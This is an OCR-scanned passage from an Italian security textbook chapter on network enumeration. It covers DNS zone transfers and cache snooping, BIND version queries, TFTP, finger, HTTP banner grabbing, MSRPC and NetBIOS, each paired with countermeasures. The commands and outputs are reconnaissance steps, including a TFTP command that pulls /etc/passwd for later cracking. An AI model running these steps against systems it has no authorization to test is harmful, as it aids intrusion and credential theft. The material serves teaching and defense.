~ $ dig @192.168.234.110 example2.org axfr

5 <<>> DiG 9.3.2 <<>> ©192.168.234.110 example2.org axfr
; (1 server found)
;5 global options: printcmd
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example2.org. 86400 IN SOA  corp-dc.example2.org admin.
example2.org. 86400 IN A 192.168.234.110

example2.org. 86400 IN NS corp-dc.example2.org

_gc._tep 86400 IN SRV 0 100 3268 corp-dc.example2.org

_kerberos._tcp 86400 IN SRV~ 0 100 88 corp-dc.example2.org
_kpasswd._tcp 86400 IN SRV 0 100 464 corp-dc.example2.org
_ldap._tcp 86400 IN SRV 0 100 389 corp-dc.example2.org
55 Query time: 489 msec

55 SERVER: 192.168.234.110#53(192.168.234.110)

53 WHEN: Wed Jul 16 15:10:27 2008

55 XFR size: 45 records (messages 1)

Enumerazione di BIND

BIND (Berkeley Internet Name Domain) € un noto server DNS per varianti di UNIX. Oltre
a essere suscettibile a trasferimenti di zona DNS, BIND presenta un record nella classe
“CHOAS”, version.bind, che contiene la versione dell’installazione caricata sul server
bersaglio. Per richiedere questo record, 'hacker puo utilizzare il comando dig:

~ $ dig @10.219.100.1 version.bind txt chaos

5 <<>> DiG 9.3.2 <<>> ©10.219.100.1 version.bind txt chaos

; (1 server found)

55 global options: printcmd

;5 Got answer:

55 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1648

55 flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

55 QUESTION SECTION:
;version.bind. CH TXT

55 ANSWER SECTION:
version.bind. 0 CH TXT "9.2.4"

55 Query time: 399 msec

53 SERVER: 10.219.100.1#53(10.219.100.1)
53 WHEN: Wed Jul 16 19:00:04 2008

55 MSG SIZE rcvd: 48

Snooping della cache DNS

I server DNS mantengono una cache per diversi motivi, uno dei quali ¢ quello di risolvere
velocemente i nomi di host utilizzati pit spesso. Quando pervengono richieste di risolvere
nomi di host che non rientrano nel suo dominio, il server DNS interroga la cache locale o
utilizza la ricorsione per risolvere la richiesta interrogando un altro server DNS. Gli hacker
possono sfruttare questa funzionalita per chiedere al server DNS di interrogare la cache in
modo da poter dedurre se i client del server hanno visitato 0 meno un particolare sito. Si
parla in questo caso di snooping (termine inglese che significa pitt 0 meno “ficcare il naso
negli aftari altrui”). Se il server DNS non ha mai elaborato una richiesta di un particolare
host, risponde con il flag “Answer” impostato a 0 (nel seguito I'output ¢ stato ridotto):

~ $ dig @10.219.100.1 www.foundstone.com A +norecurse
; <<>> DiG 9.3.2 <<>> ©10.219.100.1 www.foundstone.com A +norecurse
5 (1 server found)
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;5 global options: printcmd

;5 Got answer:

55 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4954

55 flags: qr; QUERY: 1, ANSWER: 0, AUTHORITY: 13, ADDITIONAL: 13

;3 QUESTION SECTION:
;www. foundstone.com. IN A

5> AUTHORITY SECTION:
com. 161611 IN NS A.GTLD-SERVERS.NET.

5> ADDITIONAL SECTION:
A.GTLD-SERVERS.NET. 111268 IN A 192.5.6.30

55 Query time: 105 msec

;3 SERVER: 10.219.100.1#53(10.219.100.1)
53 WHEN: Wed Jul 16 19:48:27 2008

55 MSG SIZE rcvd: 480

Una volta che il server DNS ha elaborato una richiesta di un particolare nome di host,
il flag “Answer” viene impostato a 1:

~ $ dig @10.219.100.1 www.foundstone.com A +norecurse

5 <<>> DiG 9.3.2 <<>> ©10.219.100.1www.foundstone.com A +norecurse
; (1 server found)

;5 global options: printcmd

;5 Got answer:

55 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16761

;5 flags: qr ra; QUERY: 1, ANSWER: 1, AUTHORITY: o, ADDITIONAL: 0

;5 QUESTION SECTION:
;www. foundstone.com. IN A

55 ANSWER SECTION:
www. foundstone.com. 297 IN A 216.49.88.17

55 Query time: 103 msec

55 SERVER: 10.219.100.1#53(10.219.100.1)
53 WHEN: Wed Jul 16 19:57:24 2008

53 MSG SIZE rcvd: 52

Enumerazione automatizzata del DNS

Esistono vari strumenti DNS in grado di automatizzare le tecniche di enumerazione
precedentemente descritte e di svolgere molti altri compiti che potrebbero consentire
di ottenere altre informazioni su un dominio e gli host che ne fanno parte. Dnsenum
(code.google.com/p/dnsenum/), scritto da Filip Waeytens, e tixxDZ sono in grado di svol-
gere una varieta di compiti, come la ricerca di nomi aggiuntivi e sottodomini in Google,
attacchi di forza bruta ai sottodomini, lookup inverso, enumerazione degli intervalli di
rete di un dominio, esecuzione di query WHOIS sugli intervalli individuati. La potenza
di dnsenum deriva dalla correlazione di tutte le attivita al fine di raccogliere la maggior
quantita possibile di informazioni per un particolare dominio. Lo strumento puo essere
eseguito su un nome di dominio, di cui determina i server DNS associati, o anche su un
server bersaglio per un particolare dominio.
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Un altro potente strumento di ricognizione automatizzata del DNS ¢ Fierce.pl (ha.ckers.
org/fierce/),uno script Perl scritto da Robert “RSnake” Hansen che utilizza varie tecniche
per localizzare indirizzi IP e nomi di host corrispondenti a un bersaglio, tra cui tentativi
di trasferimenti di zona, attacchi con dizionario ed enumerazione con lookup inverso.

Esistono inoltre risorse web in grado non solo di velocizzare e semplificare il processo,
ma anche di fornire all’hacker il vantaggio di non dover inviare nemmeno un pacchet-
to al bersaglio dall'indirizzo IP di origine, mantenendosi ben nascosto dietro la risorsa
pubblica. Il sito CentralOps.net ospita numerosi strumenti di ricognizione gratuiti, che
comprendono enumerazione WHOIS, trasterimenti di zona e anche scansione di servizi.

o Contromisure contro 'enumerazione del DNS

Come sempre, se il servizio DNS non ¢ necessario, la migliore contromisura ¢ quello di
disabilitarlo. Tuttavia, ¢ molto probabile che sia necessario un server DNS interfacciato a
Internet sul perimetro della rete, per la gestione delle proprie attivita. Oltre a contrastare
le specifiche tecniche appena descritte, ¢ importante mantenere due server DINS distinti:
uno per le interrogazioni verso Internet, altro per quelle interne. In questo modo, se nel
server DNS rivolto a Internet viene rilevata una vulnerabilita o un difetto di configura-
zione, non si espongono a potenziali attacchi gli indirizzi e 1 sistemi interni.

Blocco dei trasferimenti di zona DNS

La facile soluzione a questo problema consiste nel limitare i trasferimenti di zona alle sole
macchine autorizzate (solitamente si tratta di server DNS di backup). L'implementazione
del DNS di Windows consente di farlo facilmente, come ¢ mostrato nella figura seguente,
a cui si accede da Windows aprendo il Pannello di controllo e selezionando Strumenti di
amministrazione, Gestione computer, quindi Servizi e applicazioni, DNS, Nome server, Zone di
ricerca diretta, Nome zona, Proprieta.

Generale | Origine di attorita (SOA)
Serverdeinomi | WINS Trasferimertidizona | Protezione

Un trasferimento di zona invia una copia della zona ai server che la
richiedona.

¥ Consenti trasferimenti di zona:
A qualsiasi server
@ Solo a server elencati nella scheda dsi server dei nomi

™ Solo ai sequenti server

Indirzzo IP |
152.168.224.25

o
Fadifiza |
Notca.._|

Per specificare server secondan a cui inviare notifiche Motifica...
sugli aggiomamenti di zona, scegliere Notifica.
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Si potrebbero disabilitare del tutto i trasferimenti di zona disattivando la casella di con-
trollo “Consenti trasferimenti di zona”, ma € piu realistico supporre che sia necessario
mantenere aggiornati 1 server DNS di backup, percio in questo caso abbiamo scelto
un’opzione meno restrittiva.

NOTA

Le precedenti versioni di Windows (fino a Windows 2000 incluso) erano configurate per
default per consentire trasferimenti di zona a qualsiasi server. Tuttavia, grazie anche alla
segnalazione di questo problema effettuata nelle precedenti edizioni di questo libro, le
ultime versioni dei server di Microsoft presentano un‘impostazione di default che blocca
i trasferimenti di zona ai server non autorizzati. Complimenti all'azienda di Redmond!

Blocco delle richieste BIND version.bind

Un’eccellente guida alla messa in sicurezza di BIND ¢ fornita da Rob Thomas presso
cymru.com/Documents/secure-bind-template.html; descrive numerosi metodi per proteggere
BIND, tra cui quello di modificare o disabilitare le query di version.bind.

Disabilitazione dello snooping della cache DNS

Luis Grangeia ha scritto un articolo (disponibile presso il sito rootsecure.net/content/
downloads/pdf/dns_cache_snooping.pdf) che descrive meglio le tecniche di snooping della
cache DNS e fornisce metodi per porre freno a questi attacchi.

S

> Enumerazione di TFTP, TCP/UDP 69

Popolarita: 1
Semplicita: 3
Impatto: 7
Grado di rischio: 3

TFTP (Trivial File Transfer Protocol) ¢ un protocollo basato su UDP per eseguire trasterimenti
di file “rapidi e senza fronzoli”, senza autenticazione, sulla porta UDP 69. La premessa ¢
che, per estrarre un file dal server, ¢ necessario conoscere il nome. Questa puo rivelarsi
un’arma a doppio taglio per un hacker, perché 1 risultati non sono sempre garantiti. Per
esempio, se il file ¢ stato rinominato, cambiando anche un solo carattere del nome, la
richiesta dell’aggressore fallisce.

Copia di file tramite un server TFTP Linux

Benché sia difficile farla rientrare nel campo dell’enumerazione vera e propria, per I'im-
portanza delle informazioni raccolte, antesignana di tutte le tecniche di enumerazione
in UNIX/Linux ¢ quella di accedere al file /etc/passwd, che esamineremo a lungo nel
Capitolo 5. In ogni caso, ¢ utile fin d’ora indicare che un modo per catturare il file passwd
& quello di utilizzare TFTP. E semplicissimo catturare via TETP un file /etc/passwd mal
protetto, come nel seguente esempio:

[root$]tftp 192.168.202.34

tftp> connect 192.168.202.34

tftp> get /etc/passwd /tmp/passwd.cracklater
tftp> quit
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Ora l'hacker ha a disposizione il file passwd dove trova tutti gli account utente validi sul
server, e nel caso di un vecchio sistema potrebbe anche avere accesso al file di hash cifrato
per ciascun utente. Nei sistemi pitl recenti, un hacker potrebbe provare a trasferire anche
il file /etc/shadow.

Accesso ai dati di configurazione di router/switch via TFTP

I dispositivi di rete come router, switch e concentratoriVPN spesso offrono la possibilita di
effettuare la configurazione come server TFTP. In alcuni casi gli hacker possono sfruttare
questa possibilita a loro vantaggio per ottenere il file di configurazione del dispositivo.
Tra 1 file che potrebbero essere oggetto delle attenzioni degli hacker vi sono 1 seguenti:

Tunning-config
startup-config
.config

config

Tun

O Contromisure contro 'enumerazione di TFTP

TFTP ¢ un protocollo di per sé insicuro, poiché opera in chiaro, non offre un meccanismo
di autenticazione e puo lasciare aperti a eventuali abusi gli elenchi di controllo d’accesso
del sistema, nel caso di una configurazione non ottimale. Per questi motivi ¢ meglio
non utilizzarlo, e se si ha la necessita di farlo, attuare una protezione degli accessi con un
wrapper (mediante uno strumento come TCP Wrapper), limitare I'accesso alla directory
/tftpboot e assicurarsi che sia impostato un blocco presso il firewall sul margine della rete.

\1/

""" Enumerazione di finger, TCP/UDP 79
Popolarita: 7
Semplicita: 10
Impatto: 1

Grado di rischio: 6

Uno dei piu vecchi trucchi per I'enumerazione degli utenti ¢ quello di utilizzare I'utility
finger di UNIX/Linux. Ai vecchi tempi di Internet, quando la rete era molto pit ami-
chevole, finger offriva un modo comodo di fornire automaticamente informazioni agli
utenti;lo trattiamo qui principalmente per descrivere la segnatura di attacco, perché molti
strumenti di attacco lo utilizzano ancora, e molti amministratori poco attenti lasciano
finger in esecuzione con protezione minima. Anche in questo caso, 'esempio seguente
presuppone che sia stato individuato un host valido con il servizio finger in esecuzione
(porta 79) durante precedenti scansioni:

[root$]finger -1 @target.example.com
[target.example.com]
Login: root Name: root
Directory: /root Shell: /bin/bash
On since Sun Mar 28 11:01 (PST) on tty1 11 minutes idle

(messages off)
On since Sun Mar 28 11:01 (PST) on ttypo from :0.0

3 minutes 6 seconds idle
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No mail.

plan:

John Smith

Security Guru

Telnet password is my birthdate.

Anche finger o@nomehost fornisce utili informazioni:

[root$]finger 0@192.168.202.34
[192.168.202.34]

Line User Host(s) Idle Location
* 2vty o idle 0 192.168.202.14
Se0 Sync PPP 00:00:02

Come potete vedere, la maggior parte delle informazioni visualizzate da finger ¢ rela-
tivamente innocua (deriva dai campi appropriati di /etc/passwd, se esistono). I dati piu
pericolosi sono 1 nomi degli utenti che hanno effettuato il login e 1 tempi di inattivita,
che possono consentire a un hacker di farsi un’idea di chi sta osservando il sistema (root?)
e dell’attenzione con cui lavora. Alcune delle informazioni aggiuntive potrebbero essere
utilizzate in un attacco di ingegneria sociale (con questo termine si indicano le tecniche
per ottenere informazioni dalle persone tramite competenze di comunicazione socia-
le). Come abbiamo notato in questo esempio, gli utenti che inseriscono un file .plan o
.project nelle loro home directory rischiano di esporre molte informazioni agli occhi di
chi sappia eseguire semplici tentativi (il contenuto di questi file ¢ visualizzato nell’output
di finger, come ¢ mostrato in precedenza).

Q Contromisure contro 'enumerazione di finger

Rilevare e bloccare questa falla di sicurezza ¢ facile, basta non eseguire finger (si possono
contrassegnare come comimenti le righe di avvio in inetd.conf ed eseguire killall -HUP
inetd) e bloccare la porta 79 con il firewall. Se avete la necessita imprescindibile di conce-
dere l'accesso a finger, utilizzate TCP Wrappers (cfr. il Capitolo 5) per limitare e registrare
Paccesso all’host, o utilizzate un daemon finger modificato che mostri informazioni limitate.

<1/
""" Enumerazione di HTTP, TCP 80

Popolarita: 5

Semplicita: 9

Impatto: 1

Grado di rischio: 5

Ricavare mediante enumerazione il produttore e la versione di un server web ¢ una delle
tecniche piu semplici e note per la comunita degli hacker. Ogni volta che viene reso
noto un exploit di un server web (per esempio, il vecchio bufter overflow ida/idq che ha
costituito la base per i worm Code Red e Nimda), gli hacker iniziano a utilizzare semplici
strumenti di enumerazione automatizzati per controllare ampie zone di Internet alla ricerca
di software potenzialmente vulnerabile. Non pensate di poter stuggire alle loro attenzioni.
All'inizio di questo capitolo abbiamo illustrato alcune tecniche elementari di cattura
det banner, in un apposito paragrafo dove abbiamo visto come connettersi a un server
web sulla porta HTTP standard (TCP 80) utilizzando netcat e come catturare il banner
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semplicemente premendo qualche volta Invio. Solitamente il metodo HTTP HEAD ¢
un’ottima via per carpire informazioni dai banner. Potete digitare questo comando di-
rettamente in netcat una volta stabilita la connessione al server bersaglio, come mostrato
di seguito (i comandi da inserire sono riportati in grassetto: dovrete premere due o piu
volte Invio dopo la riga contenente il comando head):

C:\>nc -v www.example.com 80
www.example.com [10.219.100.1] 80 (http) open
HEAD / HTTP/1.1

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Thu, 17 Jul 2008 14:14:50 GMT

X-Powered-By: ASP.NET

Content-Length: 8601

Content-Type: text/html

Set-Cookie: ASPSESSIONIDCCRRABCR=MEJICIJDLAMKPGOIJAFBIOGD; path=/
Cache-control: private

Nel precedente esempio abbiamo illustrato la richiesta HTTP HEAD, che oggi non ¢
utilizzata comunemente, con la notevole eccezione dei worm. Percio, alcuni sistemi di
rilevamento delle intrusioni potrebbero attivare un allarme ove individuino una richiesta
HEAD.

Inoltre, se si incontra un sito web che utilizza SSL, non ¢ il caso di temere, perché netcat
non ¢ in grado di negoziare connessioni SSL. Basta reindirizzarlo attraverso uno dei molti
proxy SSL disponibili, come sslproxy, o semplicemente utilizzare openssl:

~ $ openssl s_client -quiet -connect www.example.com:443

HEAD / HTTP/1.1
host: www.example.com

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Thu, 17 Jul 2008 14:22:13 GMT

X-Powered-By: ASP.NET

Content-Length: 8601

Content-Type: text/html

Set-Cookie: ASPSESSIONIDAADQDAAQ=BEMICIICCIBGGKCLLOIBBOHA; path=/
Cache-control: private

Per default openssl offre informazioni molto dettagliate, percio conviene specificare
l'opzione -quiet per limitare I"output. Potete notare che abbiamo anche specificato host:
www . example.com dopo HEAD / HTTP/1.1;1o abbiamo fatto perché i server possono ospitare
piu siti web, percio in alcuni casi potrebbe essere necessario impostare ’header HTTP
Host al nome di host della pagina web che si sta visitando per sollecitare 'invio di un
codice 200 OK (che indica il successo della richiesta) dal server web. In questo particolare
esempio, il server web fornira le informazioni sulla versione per praticamente qualsiasi
richiesta HTTP, ma quando si utilizzano tecniche piu avanzate, 'header HTTP Host
puo facilitare le cose.

E utile sottolineare che molte informazioni interessanti si possono trovare direttamente nel
contenuto delle pagine web. Uno dei nostri strumenti automatici preferiti per analizzare
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interi siti e riportare la corrispondenza con un insieme di vulnerabiliti note ¢ Grendel-
Scan di David Byrne (grendel-scan.com/download.htm). Nella Figura 3.2 ¢ illustrata una
finestra del programma, che tra le altre cose ¢ in grado di prelevare tutti i commenti di
un sito web, consentendo a un hacker di cercare in essi informazioni interessanti quali la
parola “password”, e di analizzare il file robots.txt di un sito web esaminando con grande
attenzione le sue voci, che spesso riportano contenuti web potenzialmente interessanti
per un hacker, che per un motivo o per I'altro 'autore ha indicato come non appropriati
per I'indicizzazione da parte dei motori di ricerca.

Analizzare il codice HTML alla ricerca di informazioni interessanti ¢ un’attivita che si
avvicina al territorio dell’hacking web, di cui parleremo nel Capitolo 10.

NOTA

Per una trattazione estesa e pit approfondita delle metodologie di hacking web, potete
consultare il volume Hacking Exposed Web Applications, Third Edition (McGraw-Hill Profes-
sional, 2010; webhackingexposed. com).

Grendel-Scan v1.0 - Scan Configuration

File Scan Help
General Settings | HTTP Client | Authentication | Target Details / Scan Restr... | Test Module Selection

= [ | All test modules Saves all observed comments into the specified file. Only unigue
— . comments are saved; if a comment is seen more than once, only
P [ spider the first instance will be reported. For the sake of performance. i
I* [ Ale enumeration avaScript comment searches aren't very intelligent. For example, 3
— f ion leak something like this will match as a comment:
= [ Information leakage a = "123/#fake comment#/321"
] Private address leakag
& Directory listings Content types
¥ Robots.txt [ HTML
Comment lister
o [« JavaScript
& Platform error messag
] Session management Qutput file name
|| ¥55
comments. bd
|| SQL injection
] Mikto

| Browse |

] Miscellaneous attacks
|

| Application architecture

=

| Web server configuration

n | E|

* Experimental test module

Figura 3.2 Grendel-Scan facilita notevolmente I'analisi di interi siti alla ricerca di commenti,
consentendo agli hacker di cercare informazioni interessanti come le password.
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O Contromisure contro I'enumerazione di HTTP

Il modo migliore per ostacolare questo tipo di attivita consiste nel modificare 1 banner dei
server web. Le operazioni da compiere per fare cio variano a seconda del produttore del
server, ma spiegheremo quelle riferite a uno degli esempi pitt comuni, Microsoft Internet
Information Services (IIS). In passato, IIS era spesso oggetto di attacchi, principalmente
perché vi era un’ampia disponibilita di exploit per sfruttare vulnerabilitd come Code Red
e Nimda. Modificare il banner di IIS puo essere molto utile per allontanare un sistema
dall’obiettivo degli hacker.

Gli amministratori di IIS 7 possono creare un modulo .Net personalizzato per raggiun-
gere questo obiettivo, utilizzando il codice di esempio fornito qui di seguito (sono state
aggiunte alcune interruzioni di riga per facilitare la lettura del codice nella pagina).

using System;

using System.Text;

using System.Web;

namespace HackingExposed.ServerModules

{
public class CustomServerHeaderModule : IHttpModule

{
public void Init(HttpApplication context)

{

context.PreSendRequestHeaders += OnPreSendRequestHeaders;

public void Dispose()

{3}

void OnPreSendRequestHeaders(object sender, EventArgs e)

{

HttpContext.Current.Response.Headers.Set("Server"”,
"A Hacking Exposed Reader's Webserver");

}

Sfortunatamente, nelle versioni precedenti di IIS per modificare direttamente il banner
era necessario intervenire con un editor esadecimale sul file DLL che lo contiene, deno-
minato %systemroot%\system32\inetsrviw3svc.dll. Questa operazione puo essere delicata,
ancor piu nelle versioni Windows 2000 e successive in cui questo file DLL ¢ protetto da
SEP (System File Protection) ed ¢ sostituito automaticamente da una copia integra, a meno
che SFP non sia disabilitato.

Un altro modo per modificare il banner IIS nelle precedenti versioni ¢ quello di installare
un filtro ISAPI progettato per impostare il banner utilizzando la chiamata di funzione
SetHeader. Microsoft ha inserito un articolo nella Knowledge Base (KB) per spiegare come
procedere, ricco di codice sorgente di esempio e disponibile presso support.microsoft.
com/kb/294735/en-us. In alternativa, si puo prelevare e installare Microsoft URLScan, che
fa parte dell’IIS Lockdown Tool (cfr.microsoft.com/technet/security/tools/locktool.mspx
per informazioni sull’'llS Lockdown Tool, applicabile alle versioni di IIS precedenti la
6.0, e microsoft.com/technet/security/tools/urlscan.mspx per informazioni su URLScan,
applicabile alle versioni di IIS fino alla 6.0). URLScan ¢ un filtro ISAPI che puo essere
programmato in modo da bloccare molti attacchi a IIS ben noti prima che essi raggiun-
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gano il server web, e consente anche di configurare un banner personalizzato per sviare
hacker e worm automatizzati. Uinstallazione e I'utilizzo di URLScan sono ampiamente
trattati in Hacking Exposed Web Applications, Third Edition (McGraw-Hill Professional, 2010).

NOTA

IS Lockdown non si pud installare su Windows Server 2003/11S6.0 o versioni successive,
perché tutte le opzioni di configurazione di default di IS 6.0 (e versioni successive) cor-
rispondono o superano quelle effettuate da tale strumento. Tuttavia, si pud installare ed
eseguire URLScan su l1S6.0 perché fornisce uno strumento di configurazione flessibile per
amministratori avanzati, che va oltre le impostazioni di sicurezza di default di 1156.0. Cfr.
technet.microsoft.com/en-us/security/cc242650.aspx#EXE.

0 = Enumerazione di MSRPC (Microsoft RPC Endpoint Mapper), TCP 135

Popolarita: 7
Semplicita: 8
Impatto: 1
Grado di rischio: 5

Alcuni sistemi Microsoft Windows eseguono un servizio endpoint mapper (o0 portmap-
per) RPC (Remote Procedure Call) sulla porta TCP 135. Interrogando questo servizio si
possono ottenere informazioni sulle applicazioni e i servizi disponibili sulla macchina
bersaglio, oltre ad altri dati potenzialmente utili per un aggressore. Lo strumento epdump del
Windows Resource Kit (RK, o Reskit) interroga I’endpoint mapper MSRPC e mostra i
servizi associati a indirizzi IP e numeri di porta (anche se in una forma piuttosto rozza).
Ecco un esempio di funzionamento su un sistema bersaglio (ridotto per brevita):

C:\>epdump mail.example.com

binding is 'ncacn_ip tcp:mail.example.com'

int 82ad4280-036b-11cf-972c-00aa006887b0 v2.0
binding 00000000-etc.@ncalrpc:[INETINFO_LPC]
annot "'

int 82ad4280-036b-11cf-972c-00aa006887b0 v2.0
binding 00000000-etc.@ncacn_ip tcp: 104.10.10.126[1051]
annot "'

int 82ad4280-036b-11cf-972c-00aa006887b0 v2.0
binding 00000000-etc.@ncacn_ip_tcp:192.168.10.2[1051]
annot "'

no more entries

Il punto importante da notare in questo output dato dai due numeri che hanno l'aspetto
di indirizzi IP: 105.10.10.126 ¢ 192.168.10.2. Questi sono in effetti indirizzi [P a cui sono
associate applicazioni MSRPC. Cosa ancora piu interessante, il secondo ¢ un indirizzo
RFC 1918, a indicare che la macchina ha due interfacce fisiche (significa che ¢ di tipo
dual-homed), per una delle quali ¢’¢ una rete interna. Questo puo accendere l'interesse
di hacker curiosi che cercano simili ponti tra reti esterne e interne per sfruttarli come
bast di attacco.

Osservando ancora questo output notiamo che ncacn_ip_tcp corrisponde a porte
TCP allocate dinamicamente, il che offre ulteriori informazioni sui servizi disponibili
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su questo sistema (ncadg_ip_udp nell’output corrisponderebbe a porte UDP allocate).
Per una spiegazione dettagliata e completa di questi e altri dettagli interni dei servizi di
rete Windows, consigliamo di consultare I'eccellente articolo di Jean-Baptiste Marchand
disponibile presso hsc.fr/ressources/articles/win_net_srv.

SUGGERIMENTO

Un altro buon strumento di enumerazione di MSRPC (e molto altro) & Winfingerprint,
disponibile presso sourceforge.net/projects/winfingerprint.

Enumerazione di MSRPC con Linux

Nel mondo Linux ¢ disponibile rpcdump.py di Javier Koen di CORE security (oss.core-
security.com/impacket/rpcdump.py). Si tratta di uno strumento un po’ piu flessibile, dato
che permette di effettuare query su diverse porte/protocolli oltre alla porta TCP 135.
Ecco come si usa:

~ # rpcdump.py

Usage: /usr/bin/rpcdump.py [username[:password]@]<address> [protocol list...]
Available protocols: ['80/HTTP', '445/SMB', '135/TCP', '139/SMB', '135/UDP']
Username and password are only required for certain transports, eg. SMB.

c Contromisure contro l'enumerazione di MSRPC

Il modo migliore per prevenire attivita non autorizzate di enumerazione MSRPC ¢ quello
di limitare Iaccesso alla porta TCP 135. Questo pero pone dei problemi, per esempio,
quando si tratta di fornire servizi mail a client Internet via Microsoft Exchange Server.
Perché i client MAPI Outlook possano connettersi al servizio Exchange Server, devono
prima contattare 'endpoint mapper. Quindi, per poter fornire connettivitd Outlook/
Exchange a utenti remoti su Internet, ¢ necessario esporre il server Exchange a Internet
tramite la porta TCP 135 (e diverse altre). La soluzione pitt comune a questo problema
consiste nel richiedere agli utenti di stabilire prima un tunnel protetto (si tratta quindi di
una soluzione VPN) tra il loro sistema e la rete interna. In questo modo il server Exchan-
ge non ¢ esposto e 1 dati scambiati tra client e server sono cifrati. Naturalmente, I'altra
possibilita ¢ quella di utilizzare Microsoft Outlook Web Access (OWA) per supportare
utenti Outlook remoti. OWA ¢ un front-end web per una mailbox Exchange e funziona
su HTTPS. Consigliamo di utilizzare Pautenticazione forte se si decide di implementare
OWA (per esempio, certificati digitali o meccanismi di autenticazione a due fattori). In
‘Windows Server 2003/Exchange 2003 (e versioni successive), Microsoft ha implemen-
tato RPC su HTTP, che ¢ la nostra via preferita per accedere a Exchange su Internet
preservando l'interfaccia piena del client Outlook (cfr. support.microsoft.com/default.
aspx?kbid=833401 e technet.microsoft.com/en-us/library/aa998950.aspx).

Se non potete limitare accesso a MSRPC, dovete farlo per le singole applicazioni RPC.
Per ulteriori informazioni su questo argomento consigliamo la lettura dell’articolo
“Writing a Secure RPC Client or Server” disponibile presso msdn.microsoft.com/en-us/
library/aa379441.aspx.
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7 Enumerazione del servizio nomi NetBIOS, UDP 137

Popolarita: 7
Semplicita: 5
Impatto: 3
Grado di rischio: 5

NBNS (NetBIOS Name Service), 1l servizio nomi NetBIOS, ¢ stato per lungo tempo
il servizio di nomi distribuito per reti basate su Microsoft Windows. A partire da Win-
dows 2000, NBNS non ¢ piu necessario, ¢ stato sostituito dal servizio di nomi standard
di Internet, DNS. Tuttavia, al momento in cui scriviamo, NBNS ¢& ancora abilitato
per default in tutte le distribuzioni Windows, percio ¢ facile per gli hacker connessi
al segmento di rete locale (tramite un router che permette il tunneling di NBNS su
TCP/IP) di “enumerare il cablaggio Windows”, come talvolta si usa dire per indicare
I’enumerazione di NBINS.

Lenumerazione di NBNS ¢ semplice perché gli strumenti e le tecniche per tenere
d’occhio al connessione NetBIOS sono ampiamente disponibili, la maggior parte sono
addirittura integrati nel sistema operativo. In effetti, le tecniche di enumerazione di NBNS
solitamente interrogano PINBINS su tutte le macchine in rete e spesso sono cosi trasparenti
che spesso non si rileva nemmeno una connessione a uno specifico servizio sulla porta
UDP 137. Esamineremo prima gli strumenti nativi di Windows e poi passeremo a quelli
di terze parti. Parleremo delle contromisure soltanto alla fine, perché porre rimedio a
questi problemi di sicurezza ¢ piuttosto semplice.

Enumerazione di gruppi di lavoro e domini Windows con net view

Il comando net view ¢ un ottimo esempio di strumento di enumerazione integrato. Si
tratta di un’utility a riga di comando della famiglia Windows NT, estremamente semplice,
che elenca 1 domini disponibili sulla rete e poi tutte le macchine di un dominio. Ecco
come si possono enumerare 1 domini di una rete con net view:

C:\>net view /domain

Domain

CORLEONE

BARZINI_DOMAIN

TATAGGLIA_DOMAIN

BRAZZI

The command completed successfully.

II comando seguente elenca 1 computer di un particolare dominio:

C:\>net view /domain:corleone

Server Name Remark

\\VITO Make him an offer he can't refuse
\\MICHAEL Nothing personal

\\SONNY Badda bing badda boom

\\FREDO I'm smart

\\CONNIE Don't forget the cannoli
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Anche net view richiede I'accesso a NBNS su tutte le reti da enumerare, quindi funziona
soltanto sul segmento di rete locale. Se NBNS ¢ istradato su TCP/IP, net view puo enu-
merare gruppi di lavoro, domini e host Windows di un’intera rete aziendale, elencando la
struttura dell’intera organizzazione con una sola query non autenticata eseguita da qualsiasi
sistema collegato a una presa di rete che riesca a ottenere un indirizzo DHCP.

SUGGERIMENTO

Ricordate che possiamo utilizzare le informazioni ottenute mediante ping sweep (Capi-
tolo 2) per sostituire indirizzi IP a nomi NetBIOS di singole macchine. Indirizzi IP e nomi
NetBIOS sono per lo pit intercambiabili; per esempio, \\192.168.202.5 e equivalente a \\
SERVER_NAME. Per comodita, gli hacker spesso aggiungono le voci appropriate al loro
file #systemroot%\system32\drivers\etc\LMHOSTS, utilizzando la sintassi #PRE, e poi
eseguono nbtstat -R dalla riga di comando per ricaricare la cache della tabella dei
nomi. Sono quindi liberi di utilizzare il nome NetBIOS in attacchi futuri, e tale nome sara
associato in modo trasparente allindirizzo IP specificato in LMHOSTS.

Enumerazione di controller di dominio Windows

Per entrare pit in profondita nella struttura delle reti Windows ¢ necessario utiliz-
zare uno strumento del Windows Resource Kit (microsoft.com/downloads/details.
aspx?FamilyId=49AE8576-9BB9-4126-9761-BA8011FABF388displaylang=en). Nel prossimo esem-
pio vedrete come utilizzare lo strumento del Reskit denominato nltest per identificare
i controller di dominio nel dominio enumerato con net view (i controller di dominio
provvedono a gestire le credenziali di autenticazione delle reti Windows e percio sono
bersagli primari degli hacker):

C:\>nltest /dclist:corleone

List of DCs in Domain corleone
\\VITO (PDC)
\\MICHAEL
\\SONNY

The command completed successfully.

Netdom del R eskit ¢ un altro utile strumento per enumerare informazioni chiave sui domini
Windows, tra cui i membri dei domini e le identita dei controller di dominio di backup.

Enumerazione di servizi di rete con netviewx

netviewx di Jesper Lauritsen (ibt.ku.dk/jesper/NTtools) opera in modo simile al coman-
do net view, ma in piu elenca i server con servizi specifici. Lo utilizziamo spesso con il
servizio di accesso remoto per farci un’idea del numero di server dial-in esistenti in una
rete, come nell’esempio che segue ('opzione -D consente di specificare il dominio da
enumerare, mentre -T consente di specificare il tipo di macchina o servizio da cercare):

C:\>netviewx -D CORLEONE -T dialin_server
VIT0,4,0,500, nt%workstation%server¥domain ctrl%time_source%dialin_server’
backup_browser%master browser," Make him an offer he can't refuse "

I servizi in esecuzione sul sistema sono elencati tra segni percentuali (%). netviewx un
ottimo strumento anche per scegliere controller non di dominio che potrebbero presen-
tare difetti di sicurezza.
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Dumping della tabella di nomi NetBIOS con nbtstat e nbtscan

nbtstat si connette a singole macchine, anziché enumerare 'intera rete. Richiama la tabella
di nomi NetBIOS da un sito remoto; questa tabella contiene molte informazioni, come
si vede nel seguente esempio:

C:\»>nbtstat -A 192.168.202.33
NetBIOS Remote Machine Name Tabella

Name Type Status
SERVR9 <00> UNIQUE Registered
SERVR9 <20> UNIQUE Registered
9DOMAN <00> GROUP Registered
9DOMAN <1E> GROUP Registered
SERVR9 <03> UNIQUE Registered
INet Services <1C>  GROUP Registered
